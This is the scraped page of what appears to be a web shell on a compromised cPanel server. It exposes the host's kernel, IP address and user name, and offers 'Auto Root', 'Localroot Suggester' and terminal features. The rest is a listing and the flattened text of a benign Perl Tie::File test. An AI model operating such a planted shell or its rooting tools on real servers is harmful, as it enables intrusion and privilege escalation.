Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
Tie-File /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
00_version.t
356
B
-r--r--r--
2014-12-27 11:49
01_gen.t
3.83
KB
-r--r--r--
2014-12-27 11:48
02_fetchsize.t
828
B
-r--r--r--
2014-12-27 11:48
03_longfetch.t
906
B
-r--r--r--
2014-12-27 11:48
04_splice.t
7.52
KB
-r--r--r--
2014-12-27 11:48
05_size.t
2.38
KB
-r--r--r--
2014-12-27 11:48
06_fixrec.t
882
B
-r--r--r--
2014-12-27 11:48
07_rv_splice.t
5.31
KB
-r--r--r--
2014-12-27 11:48
08_ro.t
1.85
KB
-r--r--r--
2014-12-27 11:48
09_gen_rs.t
5.5
KB
-r--r--r--
2014-12-27 11:48
10_splice_rs.t
6.4
KB
-r--r--r--
2014-12-27 11:48
11_rv_splice_rs.t
4.85
KB
-r--r--r--
2014-12-27 11:48
12_longfetch_rs.t
650
B
-r--r--r--
2014-12-27 11:48
13_size_rs.t
1.51
KB
-r--r--r--
2014-12-27 11:48
14_lock.t
1007
B
-r--r--r--
2014-12-27 11:48
15_pushpop.t
3.08
KB
-r--r--r--
2014-12-27 11:48
16_handle.t
3.33
KB
-r--r--r--
2014-12-27 11:48
17_misc_meth.t
3.41
KB
-r--r--r--
2014-12-27 11:48
18_rs_fixrec.t
880
B
-r--r--r--
2014-12-27 11:48
19_cache.t
4.49
KB
-r--r--r--
2014-12-27 11:48
20_cache_full.t
5.35
KB
-r--r--r--
2014-12-27 11:48
21_win32.t
1.08
KB
-r--r--r--
2014-12-27 11:48
22_autochomp.t
3.94
KB
-r--r--r--
2014-12-27 11:48
23_rv_ac_splice.t
4.9
KB
-r--r--r--
2014-12-27 11:48
24_cache_loop.t
1.23
KB
-r--r--r--
2014-12-27 11:48
25_gen_nocache.t
3.02
KB
-r--r--r--
2014-12-27 11:48
26_twrite.t
16.82
KB
-r--r--r--
2014-12-27 11:48
27_iwrite.t
10.41
KB
-r--r--r--
2014-12-27 11:48
28_mtwrite.t
11.97
KB
-r--r--r--
2014-12-27 11:48
29_downcopy.t
16.81
KB
-r--r--r--
2014-12-27 11:48
29a_upcopy.t
4.78
KB
-r--r--r--
2014-12-27 11:48
30_defer.t
9.58
KB
-r--r--r--
2014-12-27 11:48
31_autodefer.t
4.58
KB
-r--r--r--
2014-12-27 11:48
32_defer_misc.t
4.99
KB
-r--r--r--
2014-12-27 11:48
33_defer_vs.t
2.76
KB
-r--r--r--
2014-12-27 11:48
40_abs_cache.t
5.33
KB
-r--r--r--
2014-12-27 11:48
41_heap.t
4.94
KB
-r--r--r--
2014-12-27 11:48
42_offset.t
1.51
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!/usr/bin/perl $| = 1; my $file = "tf$$.txt"; 1 while unlink $file; print "1..75\n"; my $N = 1; use Tie::File; print "ok $N\n"; $N++; my $o = tie @a, 'Tie::File', $file, autochomp => 0, autodefer => 0; print $o ? "ok $N\n" : "not ok $N\n"; $N++; $: = $o->{recsep}; # 3-5 create $a[0] = 'rec0'; check_contents("rec0"); # 6-11 append $a[1] = 'rec1'; check_contents("rec0", "rec1"); $a[2] = 'rec2'; check_contents("rec0", "rec1", "rec2"); # 12-20 same-length alterations $a[0] = 'new0'; check_contents("new0", "rec1", "rec2"); $a[1] = 'new1'; check_contents("new0", "new1", "rec2"); $a[2] = 'new2'; check_contents("new0", "new1", "new2"); # 21-35 lengthening alterations $a[0] = 'long0'; check_contents("long0", "new1", "new2"); $a[1] = 'long1'; check_contents("long0", "long1", "new2"); $a[2] = 'long2'; check_contents("long0", "long1", "long2"); $a[1] = 'longer1'; check_contents("long0", "longer1", "long2"); $a[0] = 'longer0'; check_contents("longer0", "longer1", "long2"); # 36-50 shortening alterations, including truncation $a[0] = 'short0'; check_contents("short0", "longer1", "long2"); $a[1] = 'short1'; check_contents("short0", "short1", "long2"); $a[2] = 'short2'; check_contents("short0", "short1", "short2"); $a[1] = 'sh1'; check_contents("short0", "sh1", "short2"); $a[0] = 'sh0'; check_contents("sh0", "sh1", "short2"); # (51-56) file with holes $a[4] = 'rec4'; check_contents("sh0", "sh1", "short2", "", "rec4"); $a[3] = 'rec3'; check_contents("sh0", "sh1", "short2", "rec3", "rec4"); # (57-59) zero out file @a = (); check_contents(); # (60-62) insert into the middle of an empty file $a[3] = "rec3"; check_contents("", "", "", "rec3"); # (63-68) 20020326 You thought there would be a bug in STORE where if # a cached record was false, STORE wouldn't see it at all. But you # forgot that records always come back from the cache with the record # separator attached, so they are unlikely to be false. The only # really weird case is when the cached record is empty and the record # separator is "0". Test that in 09_gen_rs.t. $a[1] = "0"; check_contents("", "0", "", "rec3"); $a[1] = "whoops"; check_contents("", "whoops", "", "rec3"); # (69-72) make sure that undefs are treated correctly---they should # be converted to empty records, and should not raise any warnings. # (Some of these failed in 0.90. The change to _fixrec fixed them.) # 20020331 { my $good = 1; my $warn; # If any of these raise warnings, we have a problem. local $SIG{__WARN__} = sub { $good = 0; $warn = shift(); ctrlfix($warn)}; local $^W = 1; @a = (1); $a[0] = undef; print $good ? "ok $N\n" : "not ok $N # $warn\n"; $N++; $good = 1; print defined($a[0]) ? "ok $N\n" : "not ok $N\n"; $N++; $good = 1; $a[3] = '3'; print defined($a[1]) ? "ok $N\n" : "not ok $N\n"; $N++; $good = 1; undef $a[3]; print $good ? "ok $N\n" : "not ok $N # $warn\n"; $N++; $good = 1; } # (73-75) What if the user has tampered with $\ ? { { local $\ = "stop messing with the funny variables!"; @a = (0..2); } check_contents(0..2); } use POSIX 'SEEK_SET'; sub check_contents { my @c = @_; my $x = join $:, @c, ''; local *FH = $o->{fh}; seek FH, 0, SEEK_SET; # my $open = open FH, "< $file"; my $a; { local $/; $a = <FH> } $a = "" unless defined $a; if ($a eq $x) { print "ok $N\n"; } else { ctrlfix($a, $x); print "not ok $N\n# expected <$x>, got <$a>\n"; } $N++; # now check FETCH: my $good = 1; my $msg; for (0.. $#c) { my $aa = $a[$_]; unless ($aa eq "$c[$_]$:") { $msg = "expected <$c[$_]$:>, got <$aa>"; ctrlfix($msg); $good = 0; } } print $good ? "ok $N\n" : "not ok $N # $msg\n"; $N++; print $o->_check_integrity($file, $ENV{INTEGRITY}) ? "ok $N\n" : "not ok $N\n"; $N++; } sub ctrlfix { for (@_) { s/\n/\\n/g; s/\r/\\r/g; } } END { undef $o; untie @a; 1 while unlink $file; }